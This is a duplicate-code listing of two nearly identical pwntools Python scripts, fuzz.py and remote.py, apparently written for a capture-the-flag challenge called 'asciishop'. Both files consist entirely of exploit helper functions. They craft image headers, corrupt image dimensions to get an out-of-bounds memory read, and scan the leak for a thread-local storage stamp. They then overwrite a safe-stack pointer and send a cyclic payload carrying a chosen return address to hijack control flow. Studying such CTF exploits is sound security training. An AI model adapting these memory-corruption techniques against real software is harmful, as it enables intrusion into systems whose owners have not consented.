pwnables/asciishop/fuzz.py [4:173]:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
context.bits = 64
context.terminal = ['tmux', 'split-window', '-h']
context.buffer_size = 65536


p = None

def upload_image(name, width, height, offset, ascii):
    p.readuntil(">>> ")
    p.sendline("1")
    p.readuntil("Ascii id: ")

    p.sendline(name)
    p.readuntil("Upload ascii\n")

    header = 'ASCI' + p32(width) + p32(height) + p32(offset)
    header_length = len(header);

    ascii_length = len(ascii)

    img = header + ascii.ljust((0x410 - header_length), '\0')
    assert(len(img) == 0x410)
    p.send(img)


def download_image(name):
    p.readuntil(">>> ")
    p.sendline("2")

    p.readuntil("Ascii id: ")
    p.sendline(name)

    data = p.readuntil("<<<EOF\n")

    data = data[:data.find('<<<EOF')]

    return data


def delete_image(name):
    p.readuntil(">>> ")
    p.sendline("3")

    p.readuntil("Ascii id: ")
    p.sendline(name)



def set_byte(name, x, y, c):
    fmt = "(%s, %s) %s"
    p.readuntil(">>> ")
    p.sendline("4")

    p.readuntil(">>> ")
    p.sendline("1")

    p.readuntil("Ascii id: ")
    p.sendline(name)

    p.readuntil(">>> ")
    p.sendline("1")

    p.readuntil("pixel: ")
    p.sendline(fmt % (x, y, c))

def backout_set_byte():
    p.readuntil(">>> ")
    p.sendline("4")

    p.readuntil(">>> ")
    p.sendline("4")



def fill_pools(npools):
    n = npools * 4
    names = cyclic(n)
    for i in xrange(4, n + 4, 4):
        name = names[i - 4: i]
        upload_image(name, 1, 1, 0, name)

def backout_set_byte():
    p.readuntil(">>> ")
    p.sendline("4")
    p.readuntil(">>> ")
    p.sendline("4")


def overwrite_next_height():
    # New Dimensions
    # Width: 32
    # Height: 1023
    # 0x410
    set_byte('a', 520, 520, '\xff')
    set_byte('a', 520, 521, '\x03')

    backout_set_byte()


def probe_oob_read(index):
    fill_pools(14)

    probes = list(string.ascii_letters)

    upload_image(probes[index], 1, 1, 0x80000000, "A"*200)
    upload_image(probes[index + 26], 17, 32, 0, "B"*200)

    set_byte(probes[index], 520, 520, '\xff')
    set_byte(probes[index], 520, 521, '\x03')

    backout_set_byte()

    data = download_image(probes[index + 26])

    return probes[index], probes[index + 26], data


TLS_STAMP = 0x9691a75

def search_for_tls_stamp(data):
    prev = None
    for i in xrange(8, len(data) + 8, 8):
        qword = u64(data[i-8:i])
        if qword == TLS_STAMP and (prev & 0xfff) == 0x8e9:
            return (i - 8)

        prev = qword

    return False

def find_thread_local_storage():
    for i in range(16):
        first, second, data = probe_oob_read(i)

        stamp_index = search_for_tls_stamp(data)
        if stamp_index:
            backout_set_byte()
            return first, second, data, stamp_index

    backout_set_byte()
    return None, None, None, None

def set_unsafe_stack(second, safe_stack, offset):
    #9144
    #17936
    #18768
    index = offset // 2
    ss = p64(safe_stack)

    for i in xrange(8):
        set_byte(second, index , index + i , ss[i])

def destroy_safe_stack(retaddr, start):
    p.readuntil(">>> ")
    p.sendline("4")

    p.readuntil(">>> ")
    p.sendline("2")

    p.readuntil("Ascii id: ")
    p.sendline("a")

    p.readuntil("Upload filter\n")

    offset = start
    offset += 8

    payload = cyclic(start) + p64(retaddr) + ('\x00'*(1024 - offset))
    assert(len(payload) == 1024)
    p.send(payload)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



pwnables/asciishop/remote.py [4:173]:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
context.bits = 64
context.terminal = ['tmux', 'split-window', '-h']
context.buffer_size = 65536


p = None

def upload_image(name, width, height, offset, ascii):
    p.readuntil(">>> ")
    p.sendline("1")
    p.readuntil("Ascii id: ")

    p.sendline(name)
    p.readuntil("Upload ascii\n")

    header = 'ASCI' + p32(width) + p32(height) + p32(offset)
    header_length = len(header);

    ascii_length = len(ascii)

    img = header + ascii.ljust((0x410 - header_length), '\0')
    assert(len(img) == 0x410)
    p.send(img)


def download_image(name):
    p.readuntil(">>> ")
    p.sendline("2")

    p.readuntil("Ascii id: ")
    p.sendline(name)

    data = p.readuntil("<<<EOF\n")

    data = data[:data.find('<<<EOF')]

    return data


def delete_image(name):
    p.readuntil(">>> ")
    p.sendline("3")

    p.readuntil("Ascii id: ")
    p.sendline(name)



def set_byte(name, x, y, c):
    fmt = "(%s, %s) %s"
    p.readuntil(">>> ")
    p.sendline("4")

    p.readuntil(">>> ")
    p.sendline("1")

    p.readuntil("Ascii id: ")
    p.sendline(name)

    p.readuntil(">>> ")
    p.sendline("1")

    p.readuntil("pixel: ")
    p.sendline(fmt % (x, y, c))

def backout_set_byte():
    p.readuntil(">>> ")
    p.sendline("4")

    p.readuntil(">>> ")
    p.sendline("4")



def fill_pools(npools):
    n = npools * 4
    names = cyclic(n)
    for i in xrange(4, n + 4, 4):
        name = names[i - 4: i]
        upload_image(name, 1, 1, 0, name)

def backout_set_byte():
    p.readuntil(">>> ")
    p.sendline("4")
    p.readuntil(">>> ")
    p.sendline("4")


def overwrite_next_height():
    # New Dimensions
    # Width: 32
    # Height: 1023
    # 0x410
    set_byte('a', 520, 520, '\xff')
    set_byte('a', 520, 521, '\x03')

    backout_set_byte()


def probe_oob_read(index):
    fill_pools(14)

    probes = list(string.ascii_letters)

    upload_image(probes[index], 1, 1, 0x80000000, "A"*200)
    upload_image(probes[index + 26], 17, 32, 0, "B"*200)

    set_byte(probes[index], 520, 520, '\xff')
    set_byte(probes[index], 520, 521, '\x03')

    backout_set_byte()

    data = download_image(probes[index + 26])

    return probes[index], probes[index + 26], data


TLS_STAMP = 0x9691a75

def search_for_tls_stamp(data):
    prev = None
    for i in xrange(8, len(data) + 8, 8):
        qword = u64(data[i-8:i])
        if qword == TLS_STAMP and (prev & 0xfff) == 0x8e9:
            return (i - 8)

        prev = qword

    return False

def find_thread_local_storage():
    for i in range(16):
        first, second, data = probe_oob_read(i)

        stamp_index = search_for_tls_stamp(data)
        if stamp_index:
            backout_set_byte()
            return first, second, data, stamp_index

    backout_set_byte()
    return None, None, None, None

def set_unsafe_stack(second, safe_stack, offset):
    #9144
    #17936
    #18768
    index = offset // 2
    ss = p64(safe_stack)

    for i in xrange(8):
        set_byte(second, index , index + i , ss[i])

def destroy_safe_stack(retaddr, start):
    p.readuntil(">>> ")
    p.sendline("4")

    p.readuntil(">>> ")
    p.sendline("2")

    p.readuntil("Ascii id: ")
    p.sendline("a")

    p.readuntil("Upload filter\n")

    offset = start
    offset += 8

    payload = cyclic(start) + p64(retaddr) + ('\x00'*(1024 - offset))
    assert(len(payload) == 1024)
    p.send(payload)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



